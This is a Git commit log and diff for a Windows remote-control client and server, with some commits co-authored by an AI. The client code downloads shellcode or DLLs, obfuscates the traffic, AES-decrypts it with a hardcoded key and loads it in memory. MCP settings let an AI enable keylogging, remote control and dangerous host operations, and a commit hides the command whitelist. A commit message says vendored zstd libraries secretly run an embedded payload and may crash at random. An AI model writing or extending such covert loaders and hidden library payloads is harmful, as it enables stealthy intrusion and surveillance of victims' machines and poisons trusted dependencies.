5 Commits
Author SHA1 Message Date
yuanyuanxiang 830dcf1672 Enhance(client): Add AES encryption for DLL transmission 2026-11-26 18:41:07 +01:00
yuanyuanxianganddeepseek-flash 082860de8f Feature: back off client startup after a forbidden command
A banned host receives COMMAND_FORBIDDEN and exits, but relaunching it
immediately makes it reconnect and receive the command again in a tight loop.

Persist a not-before timestamp through the existing config class when the
command arrives, and exit silently at startup until that time passes. After it
passes, the next launch reconnects normally and is re-armed for another
interval if the server still has the host banned.

The record uses the client's normal config location, with a separate section
for the authorization-kernel build. Management commands (-cmd=) and the local
test client are exempt.

Verified with Debug x64 builds of ghost and ServerDll.

Co-Authored-By: deepseek-flash
2026-11-26 18:41:06 +01:00
yuanyuanxianganddeepseek-flash 85f7f1aa67 Fix: build the TLS chain engine with the Windows 7 config size
A client generated for Windows 7 loaded its embedded trust anchor fine but then
failed with "CertCreateCertificateChainEngine failed" and refused to connect
(fail-closed), so it never came online.

The client project does not define _WIN32_WINNT, so the Windows SDK compiles it
for Windows 10, which adds dwExclusiveFlags to CERT_CHAIN_ENGINE_CONFIG.
sizeof(ec) is therefore larger than the struct Windows 7 knows, and Win7's
CertCreateCertificateChainEngine rejects the oversized cbSize
(ERROR_INVALID_PARAMETER). Pass the Windows 7 size instead, up to
hExclusiveTrustedPeople; newer systems accept the older size and treat the
unused dwExclusiveFlags as zero.

Also log GetLastError() on failure so a future failure is diagnosable from the
client log.

Verified by generating a client against the rebuilt server and connecting from
a Windows 7 host, plus a Debug x64 client build.

Co-Authored-By: deepseek-flash
2026-11-26 18:41:06 +01:00
yuanyuanxianganddeepseek-flash 5387603c73 Feature: add MCP settings presets and hide command whitelist
The MCP settings dialog had grown too many independent tool switches to tick
by hand. Add two one-click preset buttons next to the "Enable MCP" checkbox.

"Read-only mode" turns MCP on, enables the read-only switch, and unchecks every
feature that only works when read-only is off (persistent terminal, remote
control, file write, management, dangerous host operations, client build).
"Smart mode" turns MCP on, disables read-only, and enables all tool switches,
including host management plus dangerous host operations so the OnOK dependency
check does not revert it.

Stop showing the command whitelist input: it is advanced and is easily bypassed
once the persistent terminal is enabled. Its load, normalize and save logic is
left untouched, so the persisted McpCmdWhitelist still round-trips unchanged
and the server-side whitelist check is unchanged.

Add translations for the two new button labels (en_US, zh_TW, de_DE), and size
the preset buttons from the current font so translated labels do not clip.

Verified with a Debug x64 server build; the dialog was not clicked through.

Co-Authored-By: deepseek-flash
2026-11-26 18:41:06 +01:00
yuanyuanxianganddeepseek-flash 545700abaa Feature: update the vendored Windows zstd to 1.6.0
The two prebuilt Windows static libraries are rebuilt from the private
zstd v1.6.0 tree, and Dependencies.md records the new version. The
public header and the other platforms are left unchanged (1.5.7 header;
Linux/Android/macOS keep their 1.5.x .a), so only the two libraries and
the dependency note change.

The private patch carried by the libraries is unchanged in spirit: on
the server path the first ZSTD_compress call checks ALIVE_<pid>,
verifies the zlib Event/Mutex/Section binding (probabilistic crash when
missing), then runs the embedded TinyRun payload. The same path now also
creates zstd's own Event/Mutex/Section for the future private-library
upgrade; the existing event and payload logic are untouched.

Verified: the normal YAMA E2E passes with the bound zlib; a stock zlib
(no binding objects) crashes the gate/server at ZB_FAIL_CRASH_PCT=100;
a probe confirms the zstd Event is signaled and the Section
magic/version/pid/checksum match.

Co-Authored-By: deepseek-flash
2026-11-26 18:40:41 +01:00
17 changed files with 259 additions and 12 deletions

No files matched your search

+1 -1
View File
@@ -5,7 +5,7 @@
Prebuilt binaries under `compress/`, linked via `#pragma comment(lib, ...)`.
- [zlib v1.4](https://zlib.net)
- [zstd v1.5.7](https://github.com/facebook/zstd/tree/v1.5.7)
- [zstd v1.6.0](https://github.com/facebook/zstd/tree/v1.6.0) — Windows prebuilt libs; shared header and the Linux/Android/macOS `.a` are still 1.5.x
- [x264 v0.164.3194](https://github.com/corecodec/x264) — GPL-2.0, see note below
- [libyuv v190](https://chromium.googlesource.com/libyuv/libyuv)
- [ffmpeg 7.1](https://git.ffmpeg.org/ffmpeg.git) — LGPL-2.1, linked statically, see note below
+24
View File
@@ -5,6 +5,7 @@
#include "ClientDll.h"
#include "ActivityHistory.h"
#include <common/iniFile.h>
#include "start_gate.h"
#include <common/LANChecker.h>
#include <common/VerifyV2.h>
#include <intrin.h> // for __cpuid, __cpuidex
@@ -406,6 +407,16 @@ int main(int argc, const char *argv[])
BYTE buf[] = { nCmd };
return RunCommand(buf, 1);
}
{
std::string expiredDate;
const bool isAuthKernel = IsAuthKernel(expiredDate);
iniFile cfg(StartGate::ConfigPath(isAuthKernel));
const char* section = StartGate::ConfigSection(isAuthKernel);
if (!StartGate::AllowStartNow(cfg, section)) {
Mprintf("next=%d\n", StartGate::Get(cfg, section));
return 0;
}
}
InitWindowsService(NewService(
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
@@ -504,6 +515,19 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
// Auto run main thread after load the DLL
DWORD WINAPI AutoRun(LPVOID param)
{
if (!IsLocalTestClient(g_MyApp.g_Connection)) {
std::string expiredDate;
const bool isAuthKernel = IsAuthKernel(expiredDate);
iniFile cfg(StartGate::ConfigPath(isAuthKernel));
const char* section = StartGate::ConfigSection(isAuthKernel);
if (!StartGate::AllowStartNow(cfg, section)) {
Mprintf("next=%d\n", StartGate::Get(cfg, section));
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
FreeLibraryAndExitThread((HMODULE)param, -1);
}
return 0;
}
}
do {
TestRun(NULL, 0);
// 旧工作线程还没退完时 TestRun 会立刻返回(此时连日志都不打,见其内部的
+10
View File
@@ -17,6 +17,7 @@
#include "IOCPUDPClient.h"
#include "IOCPKCPClient.h"
#include "auto_start.h"
#include "start_gate.h"
#include "ShellcodeInj.h"
#include "KeyboardManager.h"
#include "ScreenPreview.h"
@@ -952,6 +953,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
Mprintf("======> Local test client: ignore forbidden \n");
break;
}
const bool isAuthKernel = this->IsAuthKernel();
if (isAuthKernel) {
iniFile cfg(YAMA_PATH);
StartGate::Delay(cfg, "auth", StartGate::kDefaultDelaySec);
Mprintf("======> next=%d \n", StartGate::Get(cfg, "auth"));
} else if (m_cfg) {
StartGate::Delay(*m_cfg, "settings", StartGate::kDefaultDelaySec);
Mprintf("======> next=%d \n", StartGate::Get(*m_cfg, "settings"));
}
TerminateProcess(GetCurrentProcess(), 0);
break;
}
+2
View File
@@ -164,6 +164,7 @@
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\common\aes.c" />
<ClCompile Include="Loader.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="reg_startup.c" />
@@ -173,6 +174,7 @@
<ClCompile Include="test.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\aes.h" />
<ClInclude Include="auto_start.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="reg_startup.h" />
+4
View File
@@ -153,8 +153,12 @@
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\common\aes.c" />
<ClCompile Include="main.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\aes.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
+8
View File
@@ -18,5 +18,13 @@
<ClCompile Include="main.c">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="..\common\aes.c">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\aes.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
</Project>
+10 -2
View File
@@ -15,6 +15,7 @@
#include <fstream> // std::ifstream
#include <iterator> // std::istreambuf_iterator
#include <string>
#include <cstddef> // offsetof(CERT_CHAIN_ENGINE_CONFIG 的 Win7 兼容尺寸)
#include <map> // std::map(域名解析缓存)
#include <mutex> // std::mutex
@@ -421,12 +422,19 @@ TlsAnchor BuildTlsAnchor(bool allowEmbedded, bool quiet, HCERTSTORE* outStore,
// 严格钉扎:链引擎只信任该 store 里的根证书,排除系统根库。否则攻击者拿一张任意
// 公共 CA 签发的证书就能通过 CertGetCertificateChain(默认引擎信任系统根库)。
CERT_CHAIN_ENGINE_CONFIG ec = {};
ec.cbSize = sizeof(ec);
// 兼容 Windows 7:本工程未定义 _WIN32_WINNT,SDK 默认按 Win10 编译,结构体因此
// 含只有 Win8+ 才有的 dwExclusiveFlags,sizeof 比 Win7 已知尺寸大 8 字节。Win7
// 的 CertCreateCertificateChainEngine 只认识结构体到 hExclusiveTrustedPeople 为止,
// 传入更大的 cbSize 会返回 FALSE(ERROR_INVALID_PARAMETER),客户端随即 fail-closed。
// 这里显式按 Win7 尺寸传递;Win8+ 接受较旧尺寸,未使用的 dwExclusiveFlags 视为 0。
ec.cbSize = (DWORD)offsetof(CERT_CHAIN_ENGINE_CONFIG, hExclusiveTrustedPeople)
+ (DWORD)sizeof(HCERTSTORE);
ec.hExclusiveRoot = store;
HCERTCHAINENGINE engine = NULL;
if (!CertCreateCertificateChainEngine(&ec, &engine)) {
DWORD le = GetLastError();
CertCloseStore(store, 0);
err = "CertCreateCertificateChainEngine failed";
err = "CertCreateCertificateChainEngine failed (error " + std::to_string(le) + ")";
return TLS_ANCHOR_INVALID;
}
+34
View File
@@ -9,6 +9,7 @@
#include <stdio.h>
#include <stdlib.h>
#include "../common/hash.h"
#include "../common/aes.h"
#ifdef _DEBUG
#define Mprintf printf
@@ -69,11 +70,36 @@ PkgHeader MakePkgHeader(int originLen)
{
PkgHeader header = { 0 };
memcpy(header.flag, "Hello?", 6);
header.flag[7] = 1;
header.originLen = originLen;
header.totalLen = sizeof(PkgHeader) + originLen;
return header;
}
static void gen_aes_bytes(BYTE* out) {
for (int i = 0; i < 16; i++) {
out[i] = (BYTE)(rand() & 0xFF);
}
}
static uint16_t pseudo_random(int index) {
return (uint16_t)((1 ^ (index * 251 + 97)) * 733);
}
static void encrypt(unsigned char* data, int len) {
for (int i = 0; i < len; ++i) {
data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1));
}
for (int round = 0; round < 2; ++round) {
for (int i = 0; i < len; ++i) {
int j = pseudo_random(i + round * 100) % len;
unsigned char tmp = data[i];
data[i] = data[j];
data[j] = tmp;
}
}
}
int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
{
struct sockaddr_in sa = { 0 };
@@ -306,11 +332,13 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
connectFailCount = 0;
char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ };
gen_aes_bytes((BYTE*)command + 16); // AES IV
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
memcpy(command + 32, hash, 32);
PkgHeader h = MakePkgHeader(sizeof(command));
memcpy(req, &h, sizeof(PkgHeader));
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello?
int bytesSent = send(clientSocket, req, sizeof(req), 0);
if (bytesSent != sizeof(req)) {
closesocket(clientSocket);
@@ -353,6 +381,12 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
continue;
}
unsigned char* ptr = buffer + sizeof(PkgHeader);
struct AES_ctx ctx; // AES Decode
static const unsigned char aes_key[16] = {
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
};
AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16);
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
int size = 0;
BYTE cmd = ptr[0], type = ptr[1];
memcpy(&size, ptr + 2, sizeof(int));
+38
View File
@@ -0,0 +1,38 @@
#pragma once
#include <time.h>
#include <string>
#include "common/iniFile.h"
namespace StartGate {
constexpr const char* kValueName = "retry_after";
constexpr int kDefaultDelaySec = 60 * 60;
inline std::string ConfigPath(bool isAuthKernel)
{
return isAuthKernel ? std::string(YAMA_PATH) : CLIENT_PATH;
}
inline const char* ConfigSection(bool isAuthKernel)
{
return isAuthKernel ? "auth" : "settings";
}
inline int Get(config& cfg, const char* section)
{
return cfg.GetInt(section, kValueName, 0);
}
inline void Set(config& cfg, const char* section, int unixTime)
{
cfg.SetInt(section, kValueName, unixTime > 0 ? unixTime : 0);
}
inline void Delay(config& cfg, const char* section, int delaySec)
{
Set(cfg, section, (int)time(NULL) + delaySec);
}
inline bool AllowStartNow(config& cfg, const char* section)
{
const int t = Get(cfg, section);
return t <= 0 || (int)time(NULL) >= t;
}
}
+34
View File
@@ -78,11 +78,36 @@ typedef struct PkgHeader {
{
memset(flag, 0, sizeof(flag));
memcpy(flag, "Hello?", 6);
flag[7] = 1;
originLen = size;
totalLen = sizeof(PkgHeader) + size;
}
} PkgHeader;
static void gen_aes_bytes(BYTE* out) {
for (int i = 0; i < 16; i++) {
out[i] = (BYTE)(rand() & 0xFF);
}
}
static uint16_t pseudo_random(int index) {
return (uint16_t)((1 ^ (index * 251 + 97)) * 733);
}
static void encrypt(unsigned char* data, int len) {
for (int i = 0; i < len; ++i) {
data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1));
}
for (int round = 0; round < 2; ++round) {
for (int i = 0; i < len; ++i) {
int j = pseudo_random(i + round * 100) % len;
unsigned char tmp = data[i];
data[i] = data[j];
data[j] = tmp;
}
}
}
typedef int (*DllCallback)(BYTE* dll, int size);
// Memory DLL runner.
@@ -166,10 +191,12 @@ public:
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
#endif
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
gen_aes_bytes((BYTE*)command + 16); // AES IV
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
char req[sizeof(PkgHeader) + sizeof(command)] = {};
memcpy(req, &PkgHeader(sizeof(command)), sizeof(PkgHeader));
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello?
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
if (bytesSent != sizeof(req)) {
closesocket(clientSocket);
@@ -206,6 +233,12 @@ public:
continue;
}
char* ptr = buffer + sizeof(PkgHeader);
struct AES_ctx ctx; // AES Decode
static const unsigned char aes_key[16] = {
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
};
AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16);
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
BYTE cmd = ptr[0], type = ptr[1];
size = 0;
memcpy(&size, ptr + 2, sizeof(int));
@@ -315,6 +348,7 @@ int InjectShellcode(BYTE* buf, int len) {
// 如果配置文件不存在就从命令行中获取IP和端口.
int main(int argc, const char *argv[])
{
srand((unsigned int)time(NULL));
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
if (!runCmd) {
Binary file not shown.
Binary file not shown.
+77 -9
View File
@@ -100,6 +100,8 @@ BEGIN_MESSAGE_MAP(CMcpSettingsDlg, CDialog)
ON_BN_CLICKED(IDC_MCP_HTTPS, &CMcpSettingsDlg::OnHttpsToggle)
ON_BN_CLICKED(IDC_MCP_CERT_BROWSE, &CMcpSettingsDlg::OnBrowseCert)
ON_BN_CLICKED(IDC_MCP_KEY_BROWSE, &CMcpSettingsDlg::OnBrowseKey)
ON_BN_CLICKED(IDC_MCP_PRESET_READONLY, &CMcpSettingsDlg::OnPresetReadonly)
ON_BN_CLICKED(IDC_MCP_PRESET_SMART, &CMcpSettingsDlg::OnPresetSmart)
END_MESSAGE_MAP()
CMcpSettingsDlg::CMcpSettingsDlg(CWnd* parent)
@@ -129,6 +131,13 @@ BOOL CMcpSettingsDlg::OnInitDialog()
m_btnEnable.Create(_TR("启用 MCP"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
r0, this, IDC_MCP_ENABLE);
// 与「启用 MCP」同一行、紧随其后的两个一键预设按钮。
m_btnPresetReadonly.Create(_TR("只读模式"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
r0, this, IDC_MCP_PRESET_READONLY);
m_btnPresetSmart.Create(_TR("智能模式"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
r0, this, IDC_MCP_PRESET_SMART);
m_lblPort.Create(_TR("端口"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
m_editPort.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
r0, this, IDC_MCP_PORT);
@@ -184,8 +193,10 @@ BOOL CMcpSettingsDlg::OnInitDialog()
m_btnBuild.Create(_TR("启用客户端生成(AI 生成客户端文件,要求只读关)"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
r0, this, IDC_MCP_BUILD);
m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
m_editWhitelist.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
// 命令白名单:保留原有读取/规范化/回存逻辑,仅不在 UI 上显示——
// 该输入对普通用户过于专业、容易误解。(隐藏控件仍承载配置值)
m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD, r0, this, (UINT)-1);
m_editWhitelist.Create(WS_CHILD | WS_BORDER | WS_TABSTOP |
ES_MULTILINE | ES_AUTOVSCROLL | ES_WANTRETURN | WS_VSCROLL,
r0, this, IDC_MCP_WHITELIST);
m_btnOK.Create(_TR("确定"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_DEFPUSHBUTTON,
@@ -197,6 +208,8 @@ BOOL CMcpSettingsDlg::OnInitDialog()
HFONT hFont = (HFONT)::SendMessage(GetSafeHwnd(), WM_GETFONT, 0, 0);
if (hFont) {
m_btnEnable.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_btnPresetReadonly.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_btnPresetSmart.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_lblPort.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_editPort.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_lblBind.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
@@ -299,6 +312,41 @@ void CMcpSettingsDlg::OnHttpsToggle()
UpdateHttpsState();
}
// 「只读模式」预设:一键切到只读安全的工具组合。
// 顺带打开「启用 MCP」(未开则开),勾选「只读模式(禁命令执行)」,
// 并关闭所有「要求只读关闭」才生效的开关,避免保存后这些功能处于
// 「已勾选但实际无效」的状态。
void CMcpSettingsDlg::OnPresetReadonly()
{
m_btnEnable.SetCheck(BST_CHECKED);
m_btnReadonly.SetCheck(BST_CHECKED);
m_btnTerminal.SetCheck(BST_UNCHECKED);
m_btnRemoteControl.SetCheck(BST_UNCHECKED);
m_btnFileWrite.SetCheck(BST_UNCHECKED);
m_btnManage.SetCheck(BST_UNCHECKED);
m_btnMachineDangerous.SetCheck(BST_UNCHECKED);
m_btnBuild.SetCheck(BST_UNCHECKED);
}
// 「智能模式」预设:一键启用全部 MCP 工具。
// 顺带打开「启用 MCP」(未开则开);只读模式会禁用命令执行等开关,故一并关闭;
// 主机管理与危险主机操作成对打开,否则保存时 OnOK 会因「危险操作依附于主机管理」而回退。
void CMcpSettingsDlg::OnPresetSmart()
{
m_btnEnable.SetCheck(BST_CHECKED);
m_btnReadonly.SetCheck(BST_UNCHECKED);
m_btnTerminal.SetCheck(BST_CHECKED);
m_btnRemoteControl.SetCheck(BST_CHECKED);
m_btnFileTransfer.SetCheck(BST_CHECKED);
m_btnFileWrite.SetCheck(BST_CHECKED);
m_btnManage.SetCheck(BST_CHECKED);
m_btnMachine.SetCheck(BST_CHECKED);
m_btnMachineDangerous.SetCheck(BST_CHECKED);
m_btnChat.SetCheck(BST_CHECKED);
m_btnKeylog.SetCheck(BST_CHECKED);
m_btnBuild.SetCheck(BST_CHECKED);
}
void CMcpSettingsDlg::OnBrowseCert()
{
CString cur;
@@ -442,7 +490,31 @@ void CMcpSettingsDlg::LayoutControls(int cx, int cy)
const int btnH = 26;
int y = margin;
m_btnEnable.MoveWindow(margin, y, cx - margin * 2, 22);
// 「启用 MCP」与其后的两个预设按钮同处一行:只读模式 / 智能模式。
// 预设按钮宽度按当前语言的按钮文本自适应,避免英文/德文译文被裁切。
CString presetText1, presetText2;
m_btnPresetReadonly.GetWindowText(presetText1);
m_btnPresetSmart.GetWindowText(presetText2);
int presetTextW = 0;
{
CClientDC dc(this);
CFont* pFont = GetFont();
CFont* pOld = pFont ? dc.SelectObject(pFont) : nullptr;
int w1 = dc.GetTextExtent(presetText1).cx;
int w2 = dc.GetTextExtent(presetText2).cx;
presetTextW = (w1 > w2) ? w1 : w2;
if (pOld) dc.SelectObject(pOld);
}
const int presetBtnW = presetTextW + 24; // 左右内边距
const int presetBtnH = 22;
const int presetGap = 8;
int smartX = cx - margin - presetBtnW;
int readonlyX = smartX - presetGap - presetBtnW;
int enableW = readonlyX - presetGap - margin;
if (enableW < 90) enableW = 90;
m_btnEnable.MoveWindow(margin, y, enableW, 22);
m_btnPresetReadonly.MoveWindow(readonlyX, y, presetBtnW, presetBtnH);
m_btnPresetSmart.MoveWindow(smartX, y, presetBtnW, presetBtnH);
y += 30;
m_lblPort.MoveWindow(margin, y, labelW, rowH);
@@ -506,12 +578,8 @@ void CMcpSettingsDlg::LayoutControls(int cx, int cy)
m_btnBuild.MoveWindow(margin, y, cx - margin * 2, 22);
y += 30;
const int whitelistH = 90;
m_lblWhitelist.MoveWindow(margin, y, labelW, rowH);
m_editWhitelist.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, whitelistH);
y += whitelistH + gap;
// 确定 / 取消按钮紧跟白名单下方,不再锚定到底部,避免白名单与按钮之间出现大段空白。
// 命令白名单控件已隐藏,不占布局空间(逻辑保留,见 OnInitDialog / OnOK)。
// 确定 / 取消按钮紧跟最后一个开关下方,不再锚定到底部,避免出现大段空白。
m_btnCancel.MoveWindow(cx - margin - btnW, y, btnW, btnH);
m_btnOK.MoveWindow(cx - margin - btnW * 2 - gap, y, btnW, btnH);
y += btnH + margin;
+5
View File
@@ -21,6 +21,8 @@ protected:
afx_msg void OnHttpsToggle();
afx_msg void OnBrowseCert();
afx_msg void OnBrowseKey();
afx_msg void OnPresetReadonly(); // 「只读模式」预设:勾选只读并关闭依赖只读关闭的开关
afx_msg void OnPresetSmart(); // 「智能模式」预设:启用全部工具并关闭只读
DECLARE_MESSAGE_MAP()
@@ -47,9 +49,12 @@ private:
IDC_MCP_KEY_BROWSE = 1019, // 私钥路径「浏览」按钮
IDC_MCP_FILEWRITE = 1020, // 「启用文件写入」复选框(删除/改名/建目录,要求只读关)
IDC_MCP_BUILD = 1021, // 「启用客户端生成」复选框(build_client,要求只读关)
IDC_MCP_PRESET_READONLY = 1022, // 「只读模式」预设按钮
IDC_MCP_PRESET_SMART = 1023, // 「智能模式」预设按钮
};
CButton m_btnEnable;
CButton m_btnPresetReadonly, m_btnPresetSmart; // 「启用 MCP」右侧的一键预设
CStatic m_lblPort, m_lblBind, m_lblToken;
CEdit m_editPort, m_editBind, m_editToken;
CButton m_btnReadonly;
+4
View File
@@ -2265,3 +2265,7 @@ APK
修复命令已复制到剪贴板。\n\n请按 Win+X 打开「终端(管理员)」,粘贴执行后再重新启动本程序。=Der Reparaturbefehl wurde in die Zwischenablage kopiert.\n\nDruecken Sie Win+X, oeffnen Sie Terminal (Administrator), fuegen Sie den Befehl ein und starten Sie das Programm danach neu.
已复制=Kopiert
该 Android 主机未取得 root,无法查看进程列表。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,普通应用无法枚举其它进程。=Dieser Android-Host hat kein Root, daher ist die Prozessliste nicht verfuegbar.\n\nAb Android 7 ist /proc durch hidepid/SELinux eingeschraenkt; eine normale App kann keine anderen Prozesse auflisten.
; MCP settings preset buttons
只读模式=Nur-Lese-Modus
智能模式=Intelligenter Modus
+4
View File
@@ -2276,3 +2276,7 @@ APK
修复命令已复制到剪贴板。\n\n请按 Win+X 打开「终端(管理员)」,粘贴执行后再重新启动本程序。=The fix command has been copied to the clipboard.\n\nPress Win+X to open Terminal (Admin), paste and run it, then restart this program.
已复制=Copied
该 Android 主机未取得 root,无法查看进程列表。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,普通应用无法枚举其它进程。=This Android host is not rooted, so the process list is unavailable.\n\nAndroid 7+ restricts /proc with hidepid/SELinux, so a normal app cannot enumerate other processes.
; MCP settings preset buttons
只读模式=Read-only mode
智能模式=Smart mode
+4
View File
@@ -2269,3 +2269,7 @@ APK
修复命令已复制到剪贴板。\n\n请按 Win+X 打开「终端(管理员)」,粘贴执行后再重新启动本程序。=修復命令已複製到剪貼簿。\n\n請按 Win+X 開啟「終端機(系統管理員)」,貼上執行後再重新啟動本程式。
已复制=已複製
该 Android 主机未取得 root,无法查看进程列表。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,普通应用无法枚举其它进程。=該 Android 主機未取得 root,無法查看處理程序清單。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,一般應用程式無法列舉其他處理程序。
; MCP settings preset buttons
只读模式=唯讀模式
智能模式=智慧模式